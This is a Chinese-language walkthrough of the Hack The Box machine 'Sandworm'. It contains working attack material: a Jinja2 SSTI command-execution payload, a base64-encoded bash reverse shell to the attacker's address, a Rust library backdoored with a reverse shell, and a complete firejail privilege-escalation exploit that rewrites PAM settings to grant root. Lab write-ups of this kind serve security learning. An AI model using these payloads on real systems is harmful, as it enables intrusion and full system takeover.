HTB-Sandworm

HTB-Sandworm

  • 立足
  • altas -> silentobserver
  • silentobserver -> 完整的atals
  • atlas -> root
  • exploit

HTB-Sandworm_第1张图片

扫描最常用的1000个端口。
HTB-Sandworm_第2张图片

80会重定向到443。
HTB-Sandworm_第3张图片

去看看443有什么吧。
HTB-Sandworm_第4张图片

HTB-Sandworm_第5张图片

目录扫描可能不会起作用。在concat上面找到了一个有趣的东西。
HTB-Sandworm_第6张图片
“如果不知道怎么PGP?请访问guide。”
在这里插入图片描述
继续点进去。
HTB-Sandworm_第7张图片
顶部有他们的PGP公钥。
在这里插入图片描述

HTB-Sandworm_第8张图片

经过多次尝试发现Verifying signed messages存在SSTI。

在这里插入图片描述
来看看是怎么发现的。以下是我们需要用的在线网站工具:
https://youritmate.us/pgp/
http://www.2pih.com/pgp.html

首先打开第一个超链接的,填写名字、邮件、和密码(可选可不选),然后生成可以得到私钥和公钥。

HTB-Sandworm_第9张图片
接着复制私钥来到第二个超链接,如果前面填写了密码的就在Passphrase填写密码,复制私钥并且随意输入一个Message。
HTB-Sandworm_第10张图片

底下就有我们生成的sign。
HTB-Sandworm_第11张图片

为什么我们要怎么做?是因为我们需要观察我们能够控制的部分是那部分。然后将公钥和sign复制到目标验证功能处。
HTB-Sandworm_第12张图片
很显然,我们能控制的是生成PGP时所需的名字上。

HTB-Sandworm_第13张图片

接着将名字修改为{{12*12}}测试是否存在SSTI(别忘了重新生成以及替换掉旧的私钥和公钥。
HTB-Sandworm_第14张图片
然后就发现存在SSTI。
HTB-Sandworm_第15张图片

{{12*12}}替换为{{7*'7'}}后出现了7个7。
HTB-Sandworm_第16张图片

要么是Jinja2,要么是Twig,当然还有其他可能。使用{{config.items()}}收集信息发现了mysql的相关信息。

HTB-Sandworm_第17张图片

尝试使用mysql的账户登录ssh失败,怀疑可能是个兔子洞。
使用payload“{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}”来尝试执行id。
HTB-Sandworm_第18张图片
可以看到成功执行了id命令。那么下一步就是反弹shell了。不过让我们先尝试看看能不能ping到本机。

HTB-Sandworm_第19张图片
很遗憾,似乎有什么东西在阻止我们。在想办法绕过它之前先看看当前用户的ssh文件能否被读取。
在这里插入图片描述

atlas的.ssh文件里面只有一个authorized_keys。

HTB-Sandworm_第20张图片

尝试写入公钥登录也没有办法。所以只有考虑想办法绕过它。

立足

首先想到的是用base64编码一次。

使用base64命令,然后输入要编码的字符串,输入完毕后按下CTRL+D即可。
在这里插入图片描述

echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMC80NDQ0IDA+JjEK" | base64 -d | bash

HTB-Sandworm_第21张图片

收集信息的时候发现还有很多页面我没有收集到。
HTB-Sandworm_第22张图片

HTB-Sandworm_第23张图片

不知道为啥我当前shell的好像有点问题。无法使用nc活wget下载linpeas,但是我们有python3。

python3 -c "import urllib.request;url ='http://10.10.14.10/linpeas.sh';filename ='linpeas.sh';urllib.request.urlretrieve(url, filename)"

在这里插入图片描述

问题又来了,没有办法用chmod修改权限。

在这里插入图片描述

可以尝试使用python来修改权限,不过大概率没有权限修改权限。

在这里插入图片描述

就目前这个情况,我感觉大概率是需要找到另一个用户的凭证。还好在./httpie/sessions/localhost_5000/admin.json找到了。
HTB-Sandworm_第24张图片

altas -> silentobserver

利用获得的凭证通过ssh登录。

HTB-Sandworm_第25张图片

silentobserver -> 完整的atals

opt目录有两个有趣的玩意。

HTB-Sandworm_第26张图片

通过pspy看看这两个有趣的东西会不会被时间任务启动。
HTB-Sandworm_第27张图片
HTB-Sandworm_第28张图片
上面那个rust的作用可能就是把用户查询的信息写进access.log文件里面。
在这里插入图片描述

这个tipnet程序会提供几个功能。

HTB-Sandworm_第29张图片

但是看源码能够看到似乎就只有UpstreamRefresh Indeces可用。
HTB-Sandworm_第30张图片
上面是e重新刷新一个什么东西,a下面是查询。

HTB-Sandworm_第31张图片

在这里插入图片描述

当我们使用e(Refresh Indeces),会执行一个函数pull_indeces

HTB-Sandworm_第32张图片

tipnet会有一句写入/opt/tipnet/access.log的代码,但是看了一下并没有发现。只存在一个logger::log

-

再结合上时间任务中这句命令。推测是将某个文件编译为库,方便tipnet使用。在这里插入图片描述
这个logger应该那个外部crate, 看代码感觉就是用来写入日志的。
HTB-Sandworm_第33张图片

但是这个tipnet,似乎只能利用修改lib.rs来想办法反弹atlas用户的shell。不过我们都有了silentobserver的ssh账户了,可能用不上。
在这里插入图片描述

继续搜索发现有一个firejail的SUID。

HTB-Sandworm_第34张图片
搜索发现有一个exploit可用。
HTB-Sandworm_第35张图片

HTB-Sandworm_第36张图片
在使用的时候会发现没有权限使用firejail。

HTB-Sandworm_第37张图片

在这里插入图片描述

哦,似乎那个lib.rs是用来获得完整atlas用户的shell。那把logger下的lib.rs内容修改为反弹shell的代码,然后重新重建一下。

extern crate chrono;

use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};




pub fn log(user: &str, query: &str, justification: &str) {

    let sock = TcpStream::connect("10.10.14.16:4321").unwrap();
    let fd = sock.as_raw_fd();
    Command::new("/bin/bash")
        .arg("-i")
        .stdin(unsafe { Stdio::from_raw_fd(fd) })
        .stdout(unsafe { Stdio::from_raw_fd(fd) })
        .stderr(unsafe { Stdio::from_raw_fd(fd) })
        .spawn()
        .unwrap()
        .wait()
        .unwrap();


    let now = Local::now();
    let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
    let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);

    let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
        Ok(file) => file,
        Err(e) => {
            println!("Error opening log file: {}", e);
            return;
        }
    };

    if let Err(e) = file.write_all(log_message.as_bytes()) {
        println!("Error writing to log file: {}", e);
    }
}

复制到/opt/crates/logger/src/lib.rs,然后等两分钟就可以了。完整的atlas有一个jailer的组。

HTB-Sandworm_第38张图片

atlas -> root

继续回到那个firejail上。
HTB-Sandworm_第39张图片
看来需要两个shell。重新写一个lib.rs就行了,然后第二个shell里面照着说明使用即可。

HTB-Sandworm_第40张图片

exploit

https://gist.github.com/GugSaas/9fb3e59b3226e8073b3f8692859f8d25#file-exploit-py-L221

#!/usr/bin/python3

import os
import shutil
import stat
import subprocess
import sys
import tempfile
import time
from pathlib import Path

# Print error message and exit with status 1
def printe(*args, **kwargs):
    kwargs['file'] = sys.stderr
    print(*args, **kwargs)
    sys.exit(1)

# Return a boolean whether the given file path fulfils the requirements for the
# exploit to succeed:
# - owned by uid 0
# - size of 1 byte
# - the content is a single '1' ASCII character
def checkFile(f):
    s = os.stat(f)

    if s.st_uid != 0 or s.st_size != 1 or not stat.S_ISREG(s.st_mode):
        return False

    with open(f) as fd:
        ch = fd.read(2)

        if len(ch) != 1 or ch != "1":
            return False

    return True

def mountTmpFS(loc):
    subprocess.check_call("mount -t tmpfs none".split() + [loc])

def bindMount(src, dst):
    subprocess.check_call("mount --bind".split() + [src, dst])

def checkSelfExecutable():
    s = os.stat(__file__)

    if (s.st_mode & stat.S_IXUSR) == 0:
        printe(f"{__file__} needs to have the execute bit set for the exploit to \
work. Run `chmod +x {__file__}` and try again.")

# This creates a "helper" sandbox that serves the purpose of making available
# a proper "join" file for symlinking to as part of the exploit later on.
#
# Returns a tuple of (proc, join_file), where proc is the running subprocess
# (it needs to continue running until the exploit happened) and join_file is
# the path to the join file to use for the exploit.
def createHelperSandbox():
    # just run a long sleep command in an unsecured sandbox
    proc = subprocess.Popen(
            "firejail --noprofile -- sleep 10d".split(),
            stderr=subprocess.PIPE)

    # read out the child PID from the stderr output of firejail
    while True:
        line = proc.stderr.readline()
        if not line:
            raise Exception("helper sandbox creation failed")

        # on stderr a line of the form "Parent pid , child pid " is output
        line = line.decode('utf8').strip().lower()
        if line.find("child pid") == -1:
            continue

        child_pid = line.split()[-1]

        try:
            child_pid = int(child_pid)
            break
        except Exception:
            raise Exception("failed to determine child pid from helper sandbox")

    # We need to find the child process of the child PID, this is the
    # actual sleep process that has an accessible root filesystem in /proc
    children = f"/proc/{child_pid}/task/{child_pid}/children"

    # If we are too quick then the child does not exist yet, so sleep a bit
    for _ in range(10):
        with open(children) as cfd:
            line = cfd.read().strip()
            kids = line.split()
            if not kids:
                time.sleep(0.5)
                continue
            elif len(kids) != 1:
                raise Exception(f"failed to determine sleep child PID from helper \
sandbox: {kids}")

            try:
                sleep_pid = int(kids[0])
                break
            except Exception:
                raise Exception("failed to determine sleep child PID from helper \sandbox")  
            else:
                raise Exception(f"sleep child process did not come into existence in {children}")

    join_file = f"/proc/{sleep_pid}/root/run/firejail/mnt/join"
    if not os.path.exists(join_file):
        raise Exception(f"join file from helper sandbox unexpectedly not found at \
{join_file}")

    return proc, join_file

# Re-executes the current script with unshared user and mount namespaces
def reexecUnshared(join_file):

    if not checkFile(join_file):
        printe(f"{join_file}: this file does not match the requirements (owner uid 0, \
size 1 byte, content '1')")

    os.environ["FIREJOIN_JOINFILE"] = join_file
    os.environ["FIREJOIN_UNSHARED"] = "1"

    unshare = shutil.which("unshare")
    if not unshare:
        printe("could not find 'unshare' program")

    cmdline = "unshare -U -r -m".split()
    cmdline += [__file__]

    # Re-execute this script with unshared user and mount namespaces
    subprocess.call(cmdline)

if "FIREJOIN_UNSHARED" not in os.environ:
    # First stage of execution, we first need to fork off a helper sandbox and
    # an exploit environment
    checkSelfExecutable()
    helper_proc, join_file = createHelperSandbox()
    reexecUnshared(join_file)

    helper_proc.kill()
    helper_proc.wait()
    sys.exit(0)
else:
    # We are in the sandbox environment, the suitable join file has been
    # forwarded from the first stage via the environment
    join_file = os.environ["FIREJOIN_JOINFILE"]

# We will make /proc/1/ns/user point to this via a symlink
time_ns_src = "/proc/self/ns/time"

# Make the firejail state directory writeable, we need to place a symlink to
# the fake join state file there
mountTmpFS("/run/firejail")
# Mount a tmpfs over the proc state directory of the init process, to place a
# symlink to a fake "user" ns there that firejail thinks it is joining
try:
    mountTmpFS("/proc/1")
except subprocess.CalledProcessError:
    # This is a special case for Fedora Linux where SELinux rules prevent us
    # from mounting a tmpfs over proc directories.
    # We can still circumvent this by mounting a tmpfs over all of /proc, but
    # we need to bind-mount a copy of our own time namespace first that we can
    # symlink to.
    with open("/tmp/time", 'w') as _:
        pass
    time_ns_src = "/tmp/time"
    bindMount("/proc/self/ns/time", time_ns_src)
    mountTmpFS("/proc")

FJ_MNT_ROOT = Path("/run/firejail/mnt")

# Create necessary intermediate directories
os.makedirs(FJ_MNT_ROOT)
os.makedirs("/proc/1/ns")

# Firejail expects to find the umask for the "container" here, else it fails
with open(FJ_MNT_ROOT / "umask", 'w') as umask_fd:
    umask_fd.write("022")

# Create the symlink to the join file to pass Firejail's sanity check
os.symlink(join_file, FJ_MNT_ROOT / "join")
# Since we cannot join our own user namespace again fake a user namespace that
# is actually a symlink to our own time namespace. This works since Firejail
# calls setns() without the nstype parameter.
os.symlink(time_ns_src, "/proc/1/ns/user")

# The process joining our fake sandbox will still have normal user privileges,
# but it will be a member of the mount namespace under the control of *this*
# script while *still* being a member of the initial user namespace.
# 'no_new_privs' won't be set since Firejail takes over the settings of the
# target process.
#
# This means we can invoke setuid-root binaries as usual but they will operate
# in a mount namespace under our control. To exploit this we need to adjust
# file system content in a way that a setuid-root binary grants us full
# root privileges. 'su' and 'sudo' are the most typical candidates for it.
#
# The tools are hardened a bit these days and reject certain files if not owned
# by root e.g. /etc/sudoers. There are various directions that could be taken,
# this one works pretty well though: Simply replacing the PAM configuration
# with one that will always grant access.
with tempfile.NamedTemporaryFile('w') as tf:
    tf.write("auth sufficient pam_permit.so\n")
    tf.write("account sufficient pam_unix.so\n")
    tf.write("session sufficient pam_unix.so\n")

    # Be agnostic about the PAM config file location in /etc or /usr/etc
    for pamd in ("/etc/pam.d", "/usr/etc/pam.d"):
        if not os.path.isdir(pamd):
            continue
        for service in ("su", "sudo"):
            service = Path(pamd) / service
            if not service.exists():
                continue
            # Bind mount over new "helpful" PAM config over the original
            bindMount(tf.name, service)

print(f"You can now run 'firejail --join={os.getpid()}' in another terminal to obtain \
a shell where 'sudo su -' should grant you a root shell.")

while True:
    line = sys.stdin.readline()
    if not line:
        break

你可能感兴趣的:(HTB,其他)